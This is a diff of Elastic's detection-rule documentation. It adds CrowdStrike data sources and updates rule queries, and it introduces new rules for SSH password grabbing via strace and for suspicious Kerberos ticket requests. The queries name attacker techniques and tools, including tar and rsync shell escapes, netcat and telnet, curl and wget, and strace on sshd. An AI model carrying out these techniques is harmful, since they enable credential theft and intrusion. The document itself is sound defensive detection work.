Source: Crowdstrike -*Version*: 110 +*Version*: 111 *Rule authors*: @@ -136,13 +138,13 @@ For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/ [source, js] ---------------------------------- sequence by host.id with maxspan=1s - [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start") and ( + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and ( (process.name == "tar" and process.args : "--checkpoint=*" and process.args : "--checkpoint-action=*") or (process.name == "rsync" and process.args : "-e*") or (process.name == "zip" and process.args == "--unzip-command") ) and not process.executable : "/tmp/newroot/*" ] by process.entity_id - [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start") and + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and process.parent.name : ("tar", "rsync", "zip") and process.name : ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") ] by process.parent.entity_id diff --git a/docs/detections/prebuilt-rules/rule-details/potential-ssh-password-grabbing-via-strace.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-ssh-password-grabbing-via-strace.asciidoc new file mode 100644 index 0000000000..2e85abdf23 --- /dev/null +++ b/docs/detections/prebuilt-rules/rule-details/potential-ssh-password-grabbing-via-strace.asciidoc @@ -0,0 +1,73 @@ +[[potential-ssh-password-grabbing-via-strace]] +=== Potential SSH Password Grabbing via strace + +Detects potential SSH password grabbing via the use of strace on sshd processes. Attackers may use strace to capture sensitive information, such as passwords, by tracing system calls made by the sshd process. This rule looks for a sequence of events where an sshd process ends followed closely by the start of a strace process. This may be indicative of an attacker attempting to capture SSH credentials. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/braindead-sec/ssh-grabber +* https://dfir.ch/posts/strace/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Credential Access +* Data Source: Elastic Defend + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=3s + [process where host.os.type == "linux" and event.type == "end" and process.name == "sshd"] + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name == "strace"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Compromise Host Software Binary +** ID: T1554 +** Reference URL: https://attack.mitre.org/techniques/T1554/ diff --git a/docs/detections/prebuilt-rules/rule-details/potential-subnet-scanning-activity-from-compromised-host.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-subnet-scanning-activity-from-compromised-host.asciidoc index 03648046b3..9a4dee3d78 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-subnet-scanning-activity-from-compromised-host.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-subnet-scanning-activity-from-compromised-host.asciidoc @@ -28,7 +28,7 @@ This rule detects potential subnet scanning activity from a compromised host. Su * Data Source: Elastic Defend * Resources: Investigation Guide -*Version*: 6 +*Version*: 8 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/potential-widespread-malware-infection-across-multiple-hosts.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-widespread-malware-infection-across-multiple-hosts.asciidoc index 3e8987f316..0fa9703400 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-widespread-malware-infection-across-multiple-hosts.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-widespread-malware-infection-across-multiple-hosts.asciidoc @@ -30,7 +30,7 @@ This rule uses alert data to determine when a malware signature is triggered in * Rule Type: Higher-Order Rule * Resources: Investigation Guide -*Version*: 4 +*Version*: 6 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/powershell-obfuscation-via-negative-index-string-reversal.asciidoc b/docs/detections/prebuilt-rules/rule-details/powershell-obfuscation-via-negative-index-string-reversal.asciidoc index a7671128b7..d14bb395e7 100644 --- a/docs/detections/prebuilt-rules/rule-details/powershell-obfuscation-via-negative-index-string-reversal.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/powershell-obfuscation-via-negative-index-string-reversal.asciidoc @@ -28,7 +28,7 @@ Identifies PowerShell scripts that use negative index ranges to reverse the cont * Data Source: PowerShell Logs * Resources: Investigation Guide -*Version*: 3 +*Version*: 5 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/printer-user-lp-shell-execution.asciidoc b/docs/detections/prebuilt-rules/rule-details/printer-user-lp-shell-execution.asciidoc index 40b5380733..c26351cb8c 100644 --- a/docs/detections/prebuilt-rules/rule-details/printer-user-lp-shell-execution.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/printer-user-lp-shell-execution.asciidoc @@ -9,6 +9,7 @@ This detection rule addresses multiple vulnerabilities in the CUPS printing syst * endgame-* * logs-endpoint.events.process* +* logs-crowdstrike.fdr* *Severity*: high @@ -37,8 +38,9 @@ This detection rule addresses multiple vulnerabilities in the CUPS printing syst * Data Source: Elastic Defend * Data Source: Elastic Endgame * Resources: Investigation Guide +* Data Source: Crowdstrike -*Version*: 7 +*Version*: 8 *Rule authors*: @@ -151,7 +153,7 @@ For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/ [source, js] ---------------------------------- process where host.os.type == "linux" and event.type == "start" and - event.action in ("exec", "exec_event") and user.name == "lp" and + event.action in ("exec", "exec_event", "ProcessRollup2") and user.name == "lp" and process.parent.name in ("cupsd", "foomatic-rip", "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and not ( process.command_line like ( diff --git a/docs/detections/prebuilt-rules/rule-details/rare-connection-to-webdav-target.asciidoc b/docs/detections/prebuilt-rules/rule-details/rare-connection-to-webdav-target.asciidoc index 6c4eff1fc8..152533333d 100644 --- a/docs/detections/prebuilt-rules/rule-details/rare-connection-to-webdav-target.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/rare-connection-to-webdav-target.asciidoc @@ -33,7 +33,7 @@ Identifies rare connection attempts to a Web Distributed Authoring and Versionin * Data Source: Crowdstrike * Resources: Investigation Guide -*Version*: 2 +*Version*: 4 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/suspicious-apt-package-manager-execution.asciidoc b/docs/detections/prebuilt-rules/rule-details/suspicious-apt-package-manager-execution.asciidoc index a5a2391b53..38b11481f3 100644 --- a/docs/detections/prebuilt-rules/rule-details/suspicious-apt-package-manager-execution.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/suspicious-apt-package-manager-execution.asciidoc @@ -9,6 +9,7 @@ Detects suspicious process events executed by the APT package manager, potential * logs-endpoint.events.process* * logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* *Severity*: medium @@ -35,8 +36,9 @@ Detects suspicious process events executed by the APT package manager, potential * Data Source: Elastic Defend * Data Source: SentinelOne * Resources: Investigation Guide +* Data Source: Crowdstrike -*Version*: 108 +*Version*: 109 *Rule authors*: @@ -138,12 +140,12 @@ For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/ [source, js] ---------------------------------- sequence by host.id with maxspan=5s - [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start") and + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and process.parent.name == "apt" and process.args == "-c" and process.name in ( "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish" ) and not process.executable == "/usr/lib/venv-salt-minion/bin/python.original" ] by process.entity_id - [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start") and process.name : ( + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and process.name : ( "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "python*", "php*", "perl", "ruby", "lua*", "openssl", "nc", "netcat", "ncat", "telnet", "awk" ) diff --git a/docs/detections/prebuilt-rules/rule-details/suspicious-kerberos-authentication-ticket-request.asciidoc b/docs/detections/prebuilt-rules/rule-details/suspicious-kerberos-authentication-ticket-request.asciidoc new file mode 100644 index 0000000000..17e637989c --- /dev/null +++ b/docs/detections/prebuilt-rules/rule-details/suspicious-kerberos-authentication-ticket-request.asciidoc @@ -0,0 +1,144 @@ +[[suspicious-kerberos-authentication-ticket-request]] +=== Suspicious Kerberos Authentication Ticket Request + +Correlates network connections to the standard Kerberos port by an unusual process from the source machine with a Kerberos authentication ticket request from the target domain controller. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/its-a-feature/bifrost +* https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768 + +*Tags*: + +* Domain: Endpoint +* Domain: Identity +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Lateral Movement +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Kerberos Authentication Ticket Request* + + +Kerberos is the default authentication protocol in Active Directory, designed to provide strong authentication for client/server applications by using secret-key cryptography. + +Domain-joined hosts usually perform Kerberos traffic using the `lsass.exe` process. This rule detects the occurrence of traffic on the Kerberos port (88) by processes other than `lsass.exe` to detect the unusual request and usage of Kerberos tickets. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Check if the Destination IP is related to a Domain Controller. +- Review events ID 4769 and 4768 for suspicious ticket requests. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- Active Directory audit tools. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. + - Ticket requests can be used to investigate potentially compromised accounts. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by source.port, source.ip with maxspan=3s + [network where host.os.type == "windows" and destination.port == 88 and + process.executable != null and + not process.executable : ("?:\\Windows\\system32\\lsass.exe", "\\device\\harddiskvolume*\\windows\\system32\\lsass.exe") and + source.ip != "127.0.0.1" and destination.ip != "::1" and destination.ip != "127.0.0.1"] + [authentication where host.os.type == "windows" and event.code in ("4768", "4769")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Pass the Ticket +** ID: T1550.003 +** Reference URL: https://attack.mitre.org/techniques/T1550/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Sub-technique: +** Name: Kerberoasting +** ID: T1558.003 +** Reference URL: https://attack.mitre.org/techniques/T1558/003/ diff --git a/docs/detections/prebuilt-rules/rule-details/suspicious-kernel-feature-activity.asciidoc b/docs/detections/prebuilt-rules/rule-details/suspicious-kernel-feature-activity.asciidoc index 64ead56ad3..fac2d06069 100644 --- a/docs/detections/prebuilt-rules/rule-details/suspicious-kernel-feature-activity.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/suspicious-kernel-feature-activity.asciidoc @@ -8,6 +8,7 @@ This rule detects the modification and reading of kernel features through built- *Rule indices*: * logs-endpoint.events.process* +* logs-crowdstrike.fdr* *Severity*: low @@ -30,8 +31,9 @@ This rule detects the modification and reading of kernel features through built- * Tactic: Discovery * Data Source: Elastic Defend * Resources: Investigation Guide +* Data Source: Crowdstrike -*Version*: 2 +*Version*: 3 *Rule authors*: @@ -93,7 +95,7 @@ Kernel features in Linux systems are critical for maintaining security and stabi [source, js] ---------------------------------- -process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and process.command_line : ( "*/etc/sysctl.conf*", "*/etc/sysctl.d/*", "*/proc/sys/kernel/nmi_watchdog*", "*/proc/sys/vm/nr_hugepages*", "*/proc/sys/kernel/yama/ptrace_scope*", @@ -103,7 +105,7 @@ process.command_line : ( "*kernel.nmi_watchdog*", "*vm.nr_hugepages*", "*vm.drop_caches*", "*kernel.sysrq*" ) and -process.parent.executable != null and +?process.parent.executable != null and ( (process.name == "tee" and process.args like "-*a*") or // also detects --append (process.name == "cat" and not process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")) or diff --git a/docs/detections/prebuilt-rules/rule-details/suspicious-microsoft-365-userloggedin-via-oauth-code.asciidoc b/docs/detections/prebuilt-rules/rule-details/suspicious-microsoft-365-userloggedin-via-oauth-code.asciidoc index 98ebe35412..7c15d14364 100644 --- a/docs/detections/prebuilt-rules/rule-details/suspicious-microsoft-365-userloggedin-via-oauth-code.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/suspicious-microsoft-365-userloggedin-via-oauth-code.asciidoc @@ -35,7 +35,7 @@ Identifies sign-ins on behalf of a principal user to the Microsoft Graph API fro * Resources: Investigation Guide * Tactic: Defense Evasion -*Version*: 4 +*Version*: 6 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/suspicious-microsoft-oauth-flow-via-auth-broker-to-drs.asciidoc b/docs/detections/prebuilt-rules/rule-details/suspicious-microsoft-oauth-flow-via-auth-broker-to-drs.asciidoc index 6e2eca0a40..45acb4a515 100644 --- a/docs/detections/prebuilt-rules/rule-details/suspicious-microsoft-oauth-flow-via-auth-broker-to-drs.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/suspicious-microsoft-oauth-flow-via-auth-broker-to-drs.asciidoc @@ -35,7 +35,7 @@ Identifies separate OAuth authorization flows in Microsoft Entra ID where the sa * Resources: Investigation Guide * Tactic: Initial Access -*Version*: 4 +*Version*: 6 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/suspicious-named-pipe-creation.asciidoc b/docs/detections/prebuilt-rules/rule-details/suspicious-named-pipe-creation.asciidoc index a03400fbc0..1867a2b0f3 100644 --- a/docs/detections/prebuilt-rules/rule-details/suspicious-named-pipe-creation.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/suspicious-named-pipe-creation.asciidoc @@ -8,6 +8,7 @@ This rule detects the creation of unusually labeled named pipes (FIFOs) by the m *Rule indices*: * logs-endpoint.events.process* +* logs-crowdstrike.fdr* *Severity*: low @@ -30,8 +31,9 @@ This rule detects the creation of unusually labeled named pipes (FIFOs) by the m * Tactic: Command and Control * Data Source: Elastic Defend * Resources: Investigation Guide +* Data Source: Crowdstrike -*Version*: 2 +*Version*: 3 *Rule authors*: @@ -129,7 +131,7 @@ For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/ [source, js] ---------------------------------- -host.os.type:linux and event.category:process and event.type:start and event.action:exec and process.name:mkfifo and +host.os.type:linux and event.category:process and event.type:start and event.action:(exec or ProcessRollup2) and process.name:mkfifo and process.parent.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and process.args:((/dev/shm/* or /tmp/* or /var/tmp/*) and not /*fifo*) diff --git a/docs/detections/prebuilt-rules/rule-details/suspicious-termination-of-esxi-process.asciidoc b/docs/detections/prebuilt-rules/rule-details/suspicious-termination-of-esxi-process.asciidoc index 43cc5ffb53..01417a6633 100644 --- a/docs/detections/prebuilt-rules/rule-details/suspicious-termination-of-esxi-process.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/suspicious-termination-of-esxi-process.asciidoc @@ -9,6 +9,7 @@ Identifies instances where VMware processes, such as "vmware-vmx" or "vmx," are * endgame-* * logs-endpoint.events.process* +* logs-crowdstrike.fdr* *Severity*: medium @@ -33,8 +34,9 @@ Identifies instances where VMware processes, such as "vmware-vmx" or "vmx," are * Data Source: Elastic Defend * Data Source: Elastic Endgame * Resources: Investigation Guide +* Data Source: Crowdstrike -*Version*: 10 +*Version*: 11 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/system-owner-user-discovery-linux.asciidoc b/docs/detections/prebuilt-rules/rule-details/system-owner-user-discovery-linux.asciidoc index 43899a02c6..7d420554d5 100644 --- a/docs/detections/prebuilt-rules/rule-details/system-owner-user-discovery-linux.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/system-owner-user-discovery-linux.asciidoc @@ -11,6 +11,7 @@ Identifies the use of built-in tools which adversaries may use to enumerate the * endgame-* * auditbeat-* * logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* *Severity*: low @@ -34,8 +35,9 @@ Identifies the use of built-in tools which adversaries may use to enumerate the * Data Source: Elastic Defend * Data Source: Elastic Endgame * Data Source: Auditd Manager +* Data Source: Crowdstrike -*Version*: 5 +*Version*: 6 *Rule authors*: @@ -49,7 +51,7 @@ Identifies the use of built-in tools which adversaries may use to enumerate the [source, js] ---------------------------------- -process where event.type == "start" and event.action in ("exec", "exec_event", "executed", "process_started") and +process where event.type == "start" and event.action in ("exec", "exec_event", "executed", "process_started", "ProcessRollup2") and process.name : ("whoami", "w", "who", "users", "id") ---------------------------------- diff --git a/docs/detections/prebuilt-rules/rule-details/unusual-base64-encoding-decoding-activity.asciidoc b/docs/detections/prebuilt-rules/rule-details/unusual-base64-encoding-decoding-activity.asciidoc index 8f92c0afea..22ee6e6549 100644 --- a/docs/detections/prebuilt-rules/rule-details/unusual-base64-encoding-decoding-activity.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/unusual-base64-encoding-decoding-activity.asciidoc @@ -28,7 +28,7 @@ This rule leverages ESQL to detect unusual base64 encoding/decoding activity on * Data Source: Elastic Defend * Resources: Investigation Guide -*Version*: 5 +*Version*: 7 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/unusual-command-execution-from-web-server-parent.asciidoc b/docs/detections/prebuilt-rules/rule-details/unusual-command-execution-from-web-server-parent.asciidoc index e0b3be7137..c398d648d3 100644 --- a/docs/detections/prebuilt-rules/rule-details/unusual-command-execution-from-web-server-parent.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/unusual-command-execution-from-web-server-parent.asciidoc @@ -30,7 +30,7 @@ This rule detects potential command execution from a web server parent process o * Data Source: Elastic Defend * Resources: Investigation Guide -*Version*: 6 +*Version*: 8 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/unusual-execution-from-kernel-thread-kthreadd-parent.asciidoc b/docs/detections/prebuilt-rules/rule-details/unusual-execution-from-kernel-thread-kthreadd-parent.asciidoc index fa1c662e2b..9503ab972e 100644 --- a/docs/detections/prebuilt-rules/rule-details/unusual-execution-from-kernel-thread-kthreadd-parent.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/unusual-execution-from-kernel-thread-kthreadd-parent.asciidoc @@ -8,6 +8,7 @@ This rule detects suspicious child process from the kernel thread (kthreadd) par *Rule indices*: * logs-endpoint.events.process* +* logs-crowdstrike.fdr* *Severity*: medium @@ -29,8 +30,9 @@ This rule detects suspicious child process from the kernel thread (kthreadd) par * Tactic: Execution * Data Source: Elastic Defend * Resources: Investigation Guide +* Data Source: Crowdstrike -*Version*: 2 +*Version*: 3 *Rule authors*: @@ -130,7 +132,7 @@ For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/ [source, js] ---------------------------------- -host.os.type:linux and event.category:process and event.type:start and event.action:exec and process.parent.name:kthreadd and ( +host.os.type:linux and event.category:process and event.type:start and event.action:(exec or ProcessRollup2) and process.parent.name:kthreadd and ( process.executable:(/dev/shm/* or /tmp/* or /var/tmp/* or /var/www/*) or process.name:(bash or csh or curl or dash or fish or id or ksh or nohup or setsid or sh or tcsh or wget or whoami or zsh) ) and diff --git a/docs/detections/prebuilt-rules/rule-details/unusual-file-creation-by-web-server.asciidoc b/docs/detections/prebuilt-rules/rule-details/unusual-file-creation-by-web-server.asciidoc index 0699a8ca75..1c152c54cb 100644 --- a/docs/detections/prebuilt-rules/rule-details/unusual-file-creation-by-web-server.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/unusual-file-creation-by-web-server.asciidoc @@ -30,7 +30,7 @@ This rule detects unusual file creations from a web server parent process. Adver * Data Source: Elastic Defend * Rule Type: BBR -*Version*: 4 +*Version*: 6 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/unusual-file-transfer-utility-launched.asciidoc b/docs/detections/prebuilt-rules/rule-details/unusual-file-transfer-utility-launched.asciidoc index 821941e1c8..ca2917e46a 100644 --- a/docs/detections/prebuilt-rules/rule-details/unusual-file-transfer-utility-launched.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/unusual-file-transfer-utility-launched.asciidoc @@ -29,7 +29,7 @@ This rule leverages ESQL to detect the execution of unusual file transfer utilit * Data Source: Elastic Defend * Resources: Investigation Guide -*Version*: 6 +*Version*: 8 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/unusual-high-confidence-content-filter-blocks-detected.asciidoc b/docs/detections/prebuilt-rules/rule-details/unusual-high-confidence-content-filter-blocks-detected.asciidoc index bb88cf2b80..3181ebf6b6 100644 --- a/docs/detections/prebuilt-rules/rule-details/unusual-high-confidence-content-filter-blocks-detected.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/unusual-high-confidence-content-filter-blocks-detected.asciidoc @@ -34,7 +34,7 @@ Detects repeated high-confidence 'BLOCKED' actions coupled with specific 'Conten * Mitre Atlas: T0054 * Resources: Investigation Guide -*Version*: 7 +*Version*: 9 *Rule authors*: @@ -115,6 +115,7 @@ from logs-aws_bedrock.invocation-* | mv_expand gen_ai.compliance.violation_code | mv_expand gen_ai.policy.confidence | mv_expand gen_ai.policy.name +| mv_expand gen_ai.policy.action // Filter for high-confidence content policy blocks with targeted violations | where diff --git a/docs/detections/prebuilt-rules/rule-details/unusual-high-denied-sensitive-information-policy-blocks-detected.asciidoc b/docs/detections/prebuilt-rules/rule-details/unusual-high-denied-sensitive-information-policy-blocks-detected.asciidoc index e5efdba886..e253d65858 100644 --- a/docs/detections/prebuilt-rules/rule-details/unusual-high-denied-sensitive-information-policy-blocks-detected.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/unusual-high-denied-sensitive-information-policy-blocks-detected.asciidoc @@ -34,7 +34,7 @@ Detects repeated compliance violation 'BLOCKED' actions coupled with specific po * Mitre Atlas: T0054 * Resources: Investigation Guide -*Version*: 3 +*Version*: 5 *Rule authors*: @@ -113,6 +113,7 @@ from logs-aws_bedrock.invocation-* // Expand multi-valued policy name field | mv_expand gen_ai.policy.name +| mv_expand gen_ai.policy.action // Filter for blocked actions related to sensitive info policy | where diff --git a/docs/detections/prebuilt-rules/rule-details/unusual-high-denied-topic-blocks-detected.asciidoc b/docs/detections/prebuilt-rules/rule-details/unusual-high-denied-topic-blocks-detected.asciidoc index 9dd854dd29..a0c833f6dd 100644 --- a/docs/detections/prebuilt-rules/rule-details/unusual-high-denied-topic-blocks-detected.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/unusual-high-denied-topic-blocks-detected.asciidoc @@ -34,7 +34,7 @@ Detects repeated compliance violation 'BLOCKED' actions coupled with specific po * Mitre Atlas: T0054 * Resources: Investigation Guide -*Version*: 3 +*Version*: 5 *Rule authors*: @@ -113,6 +113,7 @@ from logs-aws_bedrock.invocation-* // Expand multi-value policy name field | mv_expand gen_ai.policy.name +| mv_expand gen_ai.policy.action // Filter for blocked topic policy violations | where diff --git a/docs/detections/prebuilt-rules/rule-details/unusual-high-word-policy-blocks-detected.asciidoc b/docs/detections/prebuilt-rules/rule-details/unusual-high-word-policy-blocks-detected.asciidoc index 97aa00aba8..c66b9f5ffa 100644 --- a/docs/detections/prebuilt-rules/rule-details/unusual-high-word-policy-blocks-detected.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/unusual-high-word-policy-blocks-detected.asciidoc @@ -34,7 +34,7 @@ Detects repeated compliance violation 'BLOCKED' actions coupled with specific po * Mitre Atlas: T0054 * Resources: Investigation Guide -*Version*: 3 +*Version*: 5 *Rule authors*: @@ -113,6 +113,7 @@ from logs-aws_bedrock.invocation-* // Expand multivalued policy names | mv_expand gen_ai.policy.name +| mv_expand gen_ai.policy.action // Filter for blocked profanity-related policy violations | where diff --git a/docs/detections/prebuilt-rules/rule-details/unusual-ld-preload-ld-library-path-command-line-arguments.asciidoc b/docs/detections/prebuilt-rules/rule-details/unusual-ld-preload-ld-library-path-command-line-arguments.asciidoc index 3c6e95df7b..9af533eae6 100644 --- a/docs/detections/prebuilt-rules/rule-details/unusual-ld-preload-ld-library-path-command-line-arguments.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/unusual-ld-preload-ld-library-path-command-line-arguments.asciidoc @@ -8,6 +8,7 @@ This rule detects the use of the LD_PRELOAD and LD_LIBRARY_PATH environment vari *Rule indices*: * logs-endpoint.events.process* +* logs-crowdstrike.fdr* *Severity*: low @@ -30,8 +31,9 @@ This rule detects the use of the LD_PRELOAD and LD_LIBRARY_PATH environment vari * Tactic: Persistence * Data Source: Elastic Defend * Resources: Investigation Guide +* Data Source: Crowdstrike -*Version*: 2 +*Version*: 3 *Rule authors*: @@ -129,7 +131,7 @@ For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/ [source, js] ---------------------------------- -host.os.type:linux and event.category:process and event.type:start and event.action:exec and +host.os.type:linux and event.category:process and event.type:start and event.action:(exec or ProcessRollup2) and process.parent.name:(* and not ( awk or bwrap or cylancesvc or dbus-run-session or java or julia or make or matlab_helper or ninja or noproc_sandbox or nxrunner or nxserver or perl or rear or sapcontrol or setsid or spoold or sshd or steam or su or sudo or titanagent or diff --git a/docs/detections/prebuilt-rules/rule-details/unusual-process-spawned-from-web-server-parent.asciidoc b/docs/detections/prebuilt-rules/rule-details/unusual-process-spawned-from-web-server-parent.asciidoc index aabd676c9b..610e36804e 100644 --- a/docs/detections/prebuilt-rules/rule-details/unusual-process-spawned-from-web-server-parent.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/unusual-process-spawned-from-web-server-parent.asciidoc @@ -30,7 +30,7 @@ This rule detects unusual processes spawned from a web server parent process by * Data Source: Elastic Defend * Resources: Investigation Guide -*Version*: 6 +*Version*: 8 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/unusual-sshd-child-process.asciidoc b/docs/detections/prebuilt-rules/rule-details/unusual-sshd-child-process.asciidoc index 9c73a26c22..0a59d59abb 100644 --- a/docs/detections/prebuilt-rules/rule-details/unusual-sshd-child-process.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/unusual-sshd-child-process.asciidoc @@ -8,6 +8,7 @@ This rule detects the creation of an unusual SSHD child process through the usag *Rule indices*: * logs-endpoint.events.process* +* logs-crowdstrike.fdr* *Severity*: medium @@ -31,8 +32,9 @@ This rule detects the creation of an unusual SSHD child process through the usag * Tactic: Persistence * Data Source: Elastic Defend * Resources: Investigation Guide +* Data Source: Crowdstrike -*Version*: 4 +*Version*: 5 *Rule authors*: @@ -93,7 +95,7 @@ Secure Shell (SSH) is a protocol used to securely access remote systems. Adversa [source, js] ---------------------------------- -event.category:process and host.os.type:linux and event.type:start and event.action:exec and +event.category:process and host.os.type:linux and event.type:start and event.action:(exec or ProcessRollup2) and process.parent.name:(ssh or sshd) and process.args_count:2 and not ( process.command_line:(-bash or -zsh or -sh) or diff --git a/docs/detections/prebuilt-rules/rule-details/virtual-machine-fingerprinting.asciidoc b/docs/detections/prebuilt-rules/rule-details/virtual-machine-fingerprinting.asciidoc index d699aec357..43db82abd7 100644 --- a/docs/detections/prebuilt-rules/rule-details/virtual-machine-fingerprinting.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/virtual-machine-fingerprinting.asciidoc @@ -10,6 +10,7 @@ An adversary may attempt to get detailed information about the operating system * auditbeat-* * logs-endpoint.events.* * endgame-* 